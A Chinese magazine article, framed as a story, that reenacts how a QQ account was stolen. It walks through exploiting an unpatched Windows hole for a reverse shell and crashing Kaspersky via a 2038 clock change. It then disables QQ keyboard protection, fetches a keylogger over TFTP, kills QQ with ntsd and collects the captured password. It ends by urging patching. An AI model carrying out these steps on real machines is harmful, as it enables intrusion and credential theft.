不凡的黑客幻想　揭開ＱＱ號被盜的謎團

ＳＥＡＰＩＧ　ＬｉｌｙＢａｂｙ

猖狂的盜號者

“阿Q，你的QQ被盜了。”我平靜地通知阿Q。

“你就忽悠我吧，大哥。”

“真的，不信你看：本號被盜，要想找回此號……”（圖1）

正在打CS的阿Q，一骨碌就從桌子對面翻了過來：“不是吧，我裝的可是卡巴斯基啊。”

怎么辦？趕緊到http://service.qq.com/申訴，還好他記性比較好，填了申訴表里的一大堆問題，但是要三天之后才有答復。

當初是我推薦阿Q裝卡巴斯基的，這下QQ號被盜了，我也挺過意不去。讓他仔細回憶一下被盜經過，阿Q說曾經碰到一次QQ突然關了，以為程序出錯所以再次登錄，接著卡巴斯基也崩潰了。

找找被盜的原因

由此看來，遭遇盜號木馬了。可令人不解的是，卡巴斯基怎么崩潰了呢？眾所周知，卡巴斯基的進程保護相當強大，除了“冰刃”能“殺”掉其進程，無論是WinXP自帶的NTSD還是大名鼎鼎的PSkill都奈何不了。留下的惟一線索就是系統時間被改成了2038年，也就是這一改動讓卡巴斯基放水了。

說裝了卡巴斯基，病毒木馬入侵的幾率比較小，那么系統漏洞的威脅就比較大了。用X-Scan一掃，MS03026、MS03039、MS03049、MS04011等高危溢出漏洞一大堆，慘不忍睹。

“你哪年裝的系統啊？那么多重要的補丁都沒打，想必這就是盜號者下手的地方了。”

“怎么下手？不凡你給我演示下，我要搞清楚，免得下次再中招。”

模擬第一現場

因為已經知道了阿Q的電腦上有很多漏洞沒打補丁，我在自己的電腦上使用MS03039溢出工具，再加上NC反向連接，很輕松就獲取了CMD Shell（圖1）。具體方法請參考《激情溢出三部曲》（本刊今年2月上旬刊），在此不再贅述。

在獲取C M D S h e l l 后， 用“tasklist”查看進程獲知裝有卡巴斯基。面對虎視眈眈的卡巴斯基，要想上傳盜號工具難于上青天，關鍵在于卡巴斯基的相關進程沒法終止。可最近卡巴斯基爆出了2038漏洞，只要修改一下時間，卡巴斯基就崩潰了，這就給了盜號者可乘之機（以下乃模擬盜號情景，切勿模仿）。

我又從硬盤里找出兩個工具，《窗口鍵盤記錄器》和TFTP32，前者用于捕捉鍵盤記錄，用后者把它送到阿Q的電腦里去。

將《窗口鍵盤記錄器》主程序keylog放至TFTP32所在目錄，運行TFTP32開啟FTP服務（圖3）。圖標還在，給人還在運行的假象。

QQ2005 Beta3之后的版本對鍵盤輸入采取了保護措施，使得鍵盤記錄程序無法捕獲輸入字符。將QQ安裝目錄下的npkcrypt.vxd、npkcrypt.sys、npkcusb.sys三個文件刪除后，鍵盤保護就失效了。再刪除LoginUinList.dat，這樣可以清除QQ記錄的號碼，在登錄時要重新輸入。

利用“tftp –i 192.168.1.9 GET keylog.e x e”命令將鍵盤記錄程序上傳至目標主機并運行。用tasklist命令獲取QQ進程的P I D，再用“ntsd -c q -p PID”結束Q Q 進程。5分鐘之后，將C : WindowsSystem32目錄下的11111.txt拷貝過來，里面就有QQ賬號和密碼（圖6）。

“這，這就被偷走了啊？” 阿Q目瞪口呆。

“對付不設防的電腦，那還不是輕而易舉。快回去重裝系統并打補丁吧。”

本文中所涉及到的圖表、注解、公式等內容請以PDF格式閱讀原文。